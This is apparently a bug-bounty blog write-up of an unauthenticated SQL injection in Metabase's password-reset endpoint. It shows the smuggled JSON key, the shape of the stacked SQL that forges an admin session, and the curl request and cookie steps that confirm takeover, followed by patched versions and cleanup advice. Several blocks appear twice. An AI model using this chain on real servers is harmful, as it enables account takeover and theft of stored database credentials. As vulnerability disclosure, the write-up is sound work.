How I Took Over a Metabase Admin Panel 🥷

A CVSS 10.0 SQLi hiding in a password reset — and the 90 seconds it took to own it 🌫️ By ~ samael0x4

The IP was cold. Cloud-shaped. Nothing to see. One header changed everything: [Metabase]

v0.63.2 — right in the kill range of CVE-2026–72898 : SQLi in /api/session/reset_password , CVSS 10.0, exploited in the wild as a zero-day. No auth. No interaction. One request. Nuclei whispered. I wanted the whole conversation.🎧

The bug: three innocent choices, one backdoor🚪

Metabase has an open request schema — unknown JSON keys pass through. So I smuggled one:

{
 "token": "x",
 "password": "Aa1!x",
 "user-id": { "raw": "<MY SQL>" }
}

{
 "token": "x",
 "password": "Aa1!x",
 "user-id": { "raw": "<MY SQL>" }
}

Its auth pipeline does (merge request (authenticate …)) — on a failed reset, authenticate returns no :user-id, so mine survives. And HoneySQL renders maps as raw SQL, not parameters. So my value landed like this:

WHERE id = (1); INSERT INTO core_session (...) VALUES ('[REDACTED]', 1, ...); SELECT 1 --

WHERE id = (1); INSERT INTO core_session (...) VALUES ('[REDACTED]', 1, ...); SELECT 1 --

H2 executes stacked statements. That INSERT creates a session row for the first admin — keyed to a cookie I chose.⛓️💥 I never authenticated. I simply invented a session.🗝️

The shot🔫

The endpoint answered with the most beautiful lie in web security:

{"errors":{"password":"Invalid reset token"}}

{"errors":{"password":"Invalid reset token"}}

HTTP 400. Looks like a dead end. It's a smoke screen — the injection already ran before the error was produced.

Then the request that actually matters:

$ curl -sk https://[REDACTED_IP]/api/user/current \
       -H 'Cookie: metabase.SESSION=[REDACTED_COOKIE]'

$ curl -sk https://[REDACTED_IP]/api/user/current \
       -H 'Cookie: metabase.SESSION=[REDACTED_COOKIE]'

{ "id": 1, "is_superuser": true, "group_ids": [1, 2] }

{ "id": 1, "is_superuser": true, "group_ids": [1, 2] }

Zero credentials. One request. Admin👁️🔥

I am ADMIN 💀

I didn't crack anything. I didn't phish anyone. I mailed a password reset form, and the server mailed me back the keys to the kingdom — because it trusted a JSON map more than its own query builder.🧠

DevTools → Cookies → paste the forged session → reload

There it is. Every query, every dataset, every plaintext warehouse credential in 'metabase_database.details' — mine to look at, not to touch.🥷💨

CVSS? 'AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H'. 10.0 The full scorecard reads like a confession.

Fix it 🛡️

| Branch | Fixed | | — — — — | — — — -| | 0.58.x | 0.58.24 | | 0.59.x | 0.59.21 | | 0.60.x | 0.60.17 | | 0.61.x | 0.61.11 | | 0.62.x | 0.62.9 | | 0.63.x | 0.63.5 | Patch. Delete all 'core_session' rows. Rotate every connected DB credential. And if your IP showed up on Shodan in August 2026 — assume you're already owned.⚠️ My instance was in-scope. I proved impact, changed nothing, let the session expire, and reported it. Exploits are for authorized targets only — the rest is just a criminal record with extra steps.⚖️